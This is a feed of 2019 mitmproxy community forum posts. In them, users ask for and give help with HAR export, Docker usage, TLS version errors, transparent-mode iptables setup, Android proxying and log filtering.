How can we work around this? Ideally Chrome should switch to using numbered domain (for example 5.docs.google.com) per tab so that the 6 connections per domain isn’t hit when we switch over to proxy in HTTP/1.1 mode. Incidentally, this is exactly what happens if tabs are opened when Chrome connects to Google Docs directly through proxy in HTTP/1.1 mode.

Note that I would not see this issue if running the proxy in http2 mode. I need to run proxy in HTTP/1.1 mode for some tests.

]]>
https://discourse.mitmproxy.org/t/chrome-to-google-docs-via-proxy-in-http-1-1-mode/1648#post_1 Wed, 28 Aug 2019 20:49:54 +0000 discourse.mitmproxy.org-post-3008
Can't find mitm certificate Can’t find where the certificate was installed. Using windows 10, certmgr and can’t find any mitm reference. How to uninstall it completly? Thanks.

]]>
https://discourse.mitmproxy.org/t/cant-find-mitm-certificate/1646#post_1 Wed, 28 Aug 2019 02:48:32 +0000 discourse.mitmproxy.org-post-3006
How to generate har file by using mitmproxy docker? I’m using this command but I got error:
docker run --rm -it -p 8080:8080 -v $PWD:/tmp mitmproxy/mitmproxy mitmdump -s ./har_dump.py --set hardump=/dump.har

Error:
/usr/bin/mitmdump: No such script

The question is how can I change the command to have successful running?

In the other hand:
I Modified the docker and created Dockerfile and entrypoint.sh and works fine but I was wondering if I could use mitmproxy docker directly via command line like the command above?

]]>
https://discourse.mitmproxy.org/t/how-to-generate-har-file-by-using-mitmproxy-docker/1644#post_1 Fri, 23 Aug 2019 17:00:54 +0000 discourse.mitmproxy.org-post-3004
Return a custom response if connection to server failed I’ve got a mitmproxy setup with multiple reverse proxy targets. Sometimes some of them timeout.
when that happens the client receives: “ProtocolException('Server connection to ('domain.com', 80) failed:”

Tried making a custom response, but it looks like mitmproxy just ignores it.

Instead of client receiving that message I want to make a custom response or show nothing.
I’ve tried killing the flow, like this:

def error(flow: mitmproxy.http.HTTPFlow):
flow.kill()

but the user still receives the same response.

]]>
https://discourse.mitmproxy.org/t/return-a-custom-response-if-connection-to-server-failed/1643#post_1 Wed, 21 Aug 2019 18:44:39 +0000 discourse.mitmproxy.org-post-3003
How to add filter to mitmdump while generating har file I’m trying to create har file while filtering data from specific IP address 192.168.1.3 my command is like this:
mitmdump -s ./har_dump.py --set hardump=./dump.har ~src 192.168.1.3
But still see traffic from other devices in dump.har file.
Is my filter wrong?
how can I use the correct one?
Thank you

]]>
https://discourse.mitmproxy.org/t/how-to-add-filter-to-mitmdump-while-generating-har-file/1639#post_1 Wed, 14 Aug 2019 18:50:34 +0000 discourse.mitmproxy.org-post-2999
Additional files to watch or reload on update When you run mitmproxy (or possibly mitmweb) with the -s filename.py, any time you save the file it will trigger a reload of the file. This means any updated procedures in that file will then be called by the flows.

So what happens if the file you specify at the command-line is but the initialization for a whole suite of flow-manipulation python files? If you modify and save a file that is not directly referenced on the command-line, but it imported by that file, does it still trigger a reload?

Optionally, is there a way to then watch for changes on other files, like a xml of host and destination redirects, so that it’ll know to refresh the data therein?

]]>
https://discourse.mitmproxy.org/t/additional-files-to-watch-or-reload-on-update/1637#post_1 Wed, 14 Aug 2019 01:59:12 +0000 discourse.mitmproxy.org-post-2979
How to use mitmproxy in android system wide? Look into Drony - https://play.google.com/store/apps/details?id=org.sandroproxy.drony
I’ll force everything into a proxy, even the traffic that doesn’t respect the OS setting.

]]>
https://discourse.mitmproxy.org/t/how-to-use-mitmproxy-in-android-system-wide/1636#post_2 Wed, 14 Aug 2019 01:42:10 +0000 discourse.mitmproxy.org-post-2978
Being able to edit an APK's proxy The proxy would be able to rewrite the URLs to point to another server, but it does not affect the APK/application itself. In order for someone to use the application with the redirection, they’d need to be able to access your instance of the proxy.

]]>
https://discourse.mitmproxy.org/t/being-able-to-edit-an-apks-proxy/1634#post_2 Wed, 14 Aug 2019 01:32:01 +0000 discourse.mitmproxy.org-post-2977
How to use mitmproxy in android system wide? Hi there,

I want to debug a MQTT app and MQTT protocol doesn’t follow the proxy set in network section of the android device. How do you guys do such a thing in android ? Is there any app that creates a VPN connection out of a proxy ? Something like ssh tunneling but without any ssh just a socks5 proxy to tunnel phone through ?

Thanks in advance

]]>
https://discourse.mitmproxy.org/t/how-to-use-mitmproxy-in-android-system-wide/1636#post_1 Mon, 12 Aug 2019 12:59:46 +0000 discourse.mitmproxy.org-post-2976
Being able to edit an APK's proxy hey guys! i wonder if it’s possible to edit an apk’s proxy (example the app requests blabla.com/photos/1.jpg to use it in the app) so i can change the links to my own hosting’s link with the same file name and same folder, so it can get my modified"1.jpg" in the app. i also want to send this proxy-modified app to my friends

]]>
https://discourse.mitmproxy.org/t/being-able-to-edit-an-apks-proxy/1634#post_1 Sat, 10 Aug 2019 16:59:38 +0000 discourse.mitmproxy.org-post-2974
Ignore all clientconnect and clientdisconnect message in log I have read through how-to-ignore-domain doc but can’t find a way to ignore all clientconnect and clientdisconnect message in mitmdump log (all I wanna log are websocket messages only).

Is there a way to diable that message or am I missing something?

THX :smiley: :smiley:

]]>
https://discourse.mitmproxy.org/t/ignore-all-clientconnect-and-clientdisconnect-message-in-log/1631#post_1 Fri, 09 Aug 2019 08:13:14 +0000 discourse.mitmproxy.org-post-2971
How to ignore everything but a list of IPs/domains and their subdomains in transparent mode? Is there a way to ignore/disable clientconnect and clientdisconnect log in consolo?

]]>
https://discourse.mitmproxy.org/t/how-to-ignore-everything-but-a-list-of-ips-domains-and-their-subdomains-in-transparent-mode/871#post_7 Fri, 09 Aug 2019 08:09:11 +0000 discourse.mitmproxy.org-post-2970
Can mitmproxy terminate TLS for itself? I see, I can use --cert=mitmproxy.example.com=/path/to/cert.pem and connect via HTTPS to the proxy

]]>
https://discourse.mitmproxy.org/t/can-mitmproxy-terminate-tls-for-itself/1627#post_2 Fri, 09 Aug 2019 00:46:43 +0000 discourse.mitmproxy.org-post-2968
Can mitmproxy terminate TLS for itself? I want clients to connect to mitmproxy using TLS, i.e. http_proxy=https://mitmproxy.example.com/

I know mitmproxy has support for intercepting HTTPS connections through the proxy, but I’m talking about the incoming connection to the proxy. Where would I configure the certificate for this?

]]>
https://discourse.mitmproxy.org/t/can-mitmproxy-terminate-tls-for-itself/1627#post_1 Sat, 03 Aug 2019 19:09:54 +0000 discourse.mitmproxy.org-post-2965
Tls1.1 to 1.2 Hello,

I have an app who only talks on tls 1.1 and since few days, requested server now only talk on tls v1.2

I am using mitmproxy docker image, but it’s not working, and I am getting this error

Cannot establish TLS with website:443 (sni: website): TlsException(“SSL handshake error: Error([(‘SSL routines’, ‘ssl3_read_bytes’, ‘sslv3 alert handshake failure’)],)”,)

How can I force proxy to use tls 1.2 ?
I have try to set ssl_version_server: TLSv1_2 but same issue

I have found the same problem : Try to run old app with TLSv1.0 only against TLSv1.1+ only server

but no solution in the topic :’(

Thx for your help

]]>
https://discourse.mitmproxy.org/t/tls1-1-to-1-2/1624#post_1 Thu, 01 Aug 2019 14:53:04 +0000 discourse.mitmproxy.org-post-2962
Mitmproxy Transparent mode not working I had the same problem and I think it’s because the commands from the doco are for running mitmproxy on a separate host from the client. I’m assuming you execute a curl on the same host that is running mitmproxy.

I think you need to use:

sudo iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner root --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner root --dport 443 -j REDIRECT --to-port 8080

…and then run mitmproxy as root. The reason for running as root is so the traffic coming from mitmproxy is not redirected back to itself. You could also create a separate user for running mitmproxy and exclude that user so you don’t have to run as root.

As a note, my commands don’t specify a network interface. You can try adding that if you need that restriction but I’m still too much of an iptables n00b to know how that’ll affect things.

I got into a bit more detail and link some sources in my answer here: https://serverfault.com/a/977515/265053

]]>
https://discourse.mitmproxy.org/t/mitmproxy-transparent-mode-not-working/1363#post_2 Thu, 01 Aug 2019 05:37:54 +0000 discourse.mitmproxy.org-post-2960
HTTP /S Traffic monitoring on linux Hi All

i have been trying from past few days to install mitmproxy on my linux machine (ubuntu 14.04) but i couldn’t get it working, did anyone got it working with detailed steps on how to install and see it working

our idea is to monitor all http and https traffic on the machine

]]>
https://discourse.mitmproxy.org/t/http-s-traffic-monitoring-on-linux/1618#post_1 Fri, 19 Jul 2019 14:39:11 +0000 discourse.mitmproxy.org-post-2955
Intercept ack via MITMWeb and modify and send manually Hello all,

I did a search and didn’t find what i was looking for. I am using MITMWeb to view messages, edit, and resend them. This is working well.

However, I need to intercept the ack response from a request, edit it and manually send it instead of the original ack.

Can someone point me in the right direction please.

Thanks,

-Jorden

]]>
https://discourse.mitmproxy.org/t/intercept-ack-via-mitmweb-and-modify-and-send-manually/1616#post_1 Thu, 18 Jul 2019 01:42:27 +0000 discourse.mitmproxy.org-post-2953
Can't find har export on Windows 10 after mitmdump
nealmcb:

This is just a guess, but what happens if you leave off the -w dump.mitm option?

Same result for me…

]]>
https://discourse.mitmproxy.org/t/cant-find-har-export-on-windows-10-after-mitmdump/1295#post_3 Mon, 15 Jul 2019 13:32:41 +0000 discourse.mitmproxy.org-post-2951